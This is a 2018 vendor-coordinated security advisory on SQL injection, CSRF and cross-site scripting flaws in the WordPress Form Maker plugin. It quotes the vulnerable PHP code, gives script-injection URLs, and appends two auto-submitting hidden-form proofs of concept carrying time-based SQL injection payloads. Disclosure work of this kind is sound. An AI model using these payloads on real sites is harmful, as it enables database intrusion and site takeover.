WordPress Form Maker 1.12.24 XSS / CSRF / SQL Injection

`DefenseCode ThunderScan SAST Advisory: WordPress Form Maker Plugin  
Multiple Security Vulnerabilities  
  
  
Advisory ID: DC-2018-05-001  
Advisory Title: WordPress Form Maker Plugin Multiple Vulnerabilities  
Advisory URL: http://www.defensecode.com/advisories.php  
Software: WordPress Form Maker plugin  
Language: PHP  
Version: 1.12.24 and below  
Vendor Status: Vendor contacted, update released  
Release Date: 2018/06/07  
Risk: High  
  
  
  
1. General Overview  
===================  
During the security audit of Form Maker plugin for WordPress CMS,  
multiple vulnerabilities were discovered using DefenseCode ThunderScan  
application source code security analysis platform.  
  
More information about ThunderScan is available at URL:  
http://www.defensecode.com  
  
  
2. Software Overview  
====================  
According to the plugin developers, Form Maker is a power-packed yet  
user-friendly form builder plugin, best WordPress form builder plugin  
in WordPress Plugin Directory.  
  
According to wordpress.org, it has more than 100 000 active installs.  
According to the developer's website, it was downloaded over two  
million times. The exact number of "premium" version installs remains  
to be determined.  
  
Homepage:  
https://wordpress.org/plugins/form-maker/  
https://web-dorado.com/products/wordpress-form.html  
  
  
3. Vulnerability Description  
============================  
During the security analysis, ThunderScan discovered SQL injection and  
Cross-Site Scripting vulnerabilities in Form Maker WordPress plugin.  
The SQL injection points are susceptible to Cross Site Request Forgery  
(CSRF).  
  
The easiest way to reproduce the SQL injection vulnerabilities is to  
open the presented HTML/JavaScript snippet in your browser while being  
logged in as administrator or another user that is authorized to  
access the plugin settings page. Users that do not have full  
administrative privileges could abuse the database access the  
vulnerabilities provide to either escalate their privileges or obtain  
and modify database contents they were not supposed to be able to.  
Since the injection points are also susceptible to CSRF (due to the  
improper checking of the nonce token), a valid attack vector is also  
to send a link to the administrator that leads to any attacker  
controlled web page containing such or similar code snippet.  
  
The Cross-Site Scripting vulnerabilities can enable the attacker to  
construct the URL that contains malicious JavaScript code. If the  
administrator of the site makes a request to such an URL, the  
attacker's code will be executed, with unrestricted access to the  
WordPress site in question. The attacker can entice the administrator  
to visit the URL in various ways, including sending the URL by email,  
posting it as a part of the comment on the vulnerable site or another  
forum.  
  
3.1 SQL injection  
Vulnerable Function: get_results()  
Vulnerable Variable: $_POST['name']  
Vulnerable URL:  
http://vulnerablesite.com/wp-admin/admin-ajax.php?action=FormMakerSQLMapping&task=db_table_struct  
File: form-maker/admin/models/FMSqlMapping.php  
Proof of Concept: See Appendix #1  
---------  
81 $name = isset($_POST['name']) ? $_POST['name'] : NULL;  
...  
87 $query = "SHOW COLUMNS FROM " . $name;  
...  
94 $table_struct = $wpdb_temp->get_results($query);  
---------  
  
3.2 SQL injection  
Vulnerable Function: get_col()  
Vulnerable Variable: $_REQUEST['search_labels']  
Vulnerable URL:  
http://vulnerablesite.com/wp-admin/admin-ajax.php?form_id=6&send_header=0&action=generete_csv&limitstart=0  
File: form-maker/framework/WDW_FM_Library.php  
Proof of Concept: See Appendix #2  
---------  
3901 $search_labels = isset($_REQUEST['search_labels']) ?  
$_REQUEST['search_labels'] : '';  
...  
3934 $query = $wpdb->prepare("SELECT distinct group_id FROM " .  
$wpdb->prefix . "formmaker_submits where form_id=%d and group_id IN("  
. $search_labels . ")", $form_id);  
3935 $group_id_s = $wpdb->get_col($query);  
---------  
  
3.3 Cross-Site Scripting  
Vulnerable Function: echo()  
Vulnerable Variable: $_REQUEST["active_tab"]  
Vulnerable URL:  
http://vulnerablesite.com/wp-admin/admin.php?page=themes_fm&task=edit&active_tab="><script>alert(42)</script>  
File: form-maker/admin/views/Themes_fm.php  
---------  
192 $active_tab = isset($_REQUEST["active_tab"]) &&  
$_REQUEST["active_tab"] ? $_REQUEST["active_tab"] : ($row->version ==  
1 ? 'custom_css' : 'global');  
...  
199 <input type="hidden" name="active_tab" id="active_tab"  
value="<?php echo $active_tab; ?>" />  
---------  
  
3.4 Cross-Site Scripting  
Vulnerable Function: echo()  
Vulnerable Variable: $_REQUEST["pagination"]  
Vulnerable URL:  
http://vulnerablesite.com/wp-admin/admin.php?page=themes_fm&task=edit&pagination="><script>alert(42)<%2Fscript>  
File: form-maker/admin/views/Themes_fm.php  
---------  
193 $pagination = isset($_REQUEST["pagination"]) ?  
$_REQUEST["pagination"] : 'none';  
...  
308 <div class="pagination-type" ng-init="pagination='<?php echo  
$pagination; ?>'">  
---------  
  
  
4. Solution  
===========  
After the vulnerabilities were reported the vendor resolved the  
security issues. All users are strongly advised to update WordPress  
Form Maker plugin to the latest available version.  
  
  
5. Credits  
==========  
Discovered by Neven Biruski using DefenseCode ThunderScan source code  
security analyzer.  
  
  
6. Disclosure Timeline  
======================  
2018/05/09 Vulnerabilities discovered  
2018/05/16 Vendor contacted  
2018/05/16 Vendor responded  
2018/06/07 Advisory released to the public  
  
  
7. About DefenseCode  
====================  
DefenseCode L.L.C. delivers products and services designed to analyze  
and test web, desktop and mobile applications for security  
vulnerabilities.  
  
DefenseCode ThunderScan is a SAST (Static Application Security  
Testing, WhiteBox Testing) solution for performing extensive security  
audits of application source code. ThunderScan SAST performs fast and  
accurate analyses of large and complex source code projects delivering  
precise results and low false positive rate.  
  
DefenseCode WebScanner is a DAST (Dynamic Application Security  
Testing, BlackBox Testing) solution for comprehensive security audits  
of active web applications. WebScanner will test a website's security  
by carrying out a large number of attacks using the most advanced  
techniques, just as a real attacker would.  
  
Subscribe for free software trial on our website  
http://www.defensecode.com/ .  
  
E-mail: defensecode[at]defensecode.com  
  
Website: http://www.defensecode.com  
Twitter: https://twitter.com/DefenseCode/  
  
  
8. Appendix #1 - SQLi PoC snippet  
=================================  
<iframe style="display:none" name="invisible"></iframe>  
<form id="form" method="POST"  
action="http://vulnerablesite.com/wp-admin/admin-ajax.php?action=FormMakerSQLMapping&task=db_table_struct"  
target="invisible">  
<input type="hidden" name="name" value="wp_users WHERE 42=42  
AND SLEEP(42)--;"/>  
</form>  
<script>  
document.getElementById("form").submit();  
sleep(3000);  
</script>  
  
  
9. Appendix #2 - SQLi PoC snippet  
=================================  
<iframe style="display:none" name="invisible"></iframe>  
<form id="form" method="POST"  
action="http://vulnerablesite.com/wp-admin/admin-ajax.php?form_id=6&send_header=0&action=generete_csv&limitstart=0"  
target="invisible">  
<input type="hidden" name="search_labels" value="2) AND  
(SELECT * FROM (SELECT(SLEEP(42)))XXX)-- XXX"/>  
</form>  
<script>  
document.getElementById("form").submit();  
sleep(3000);  
</script>  
`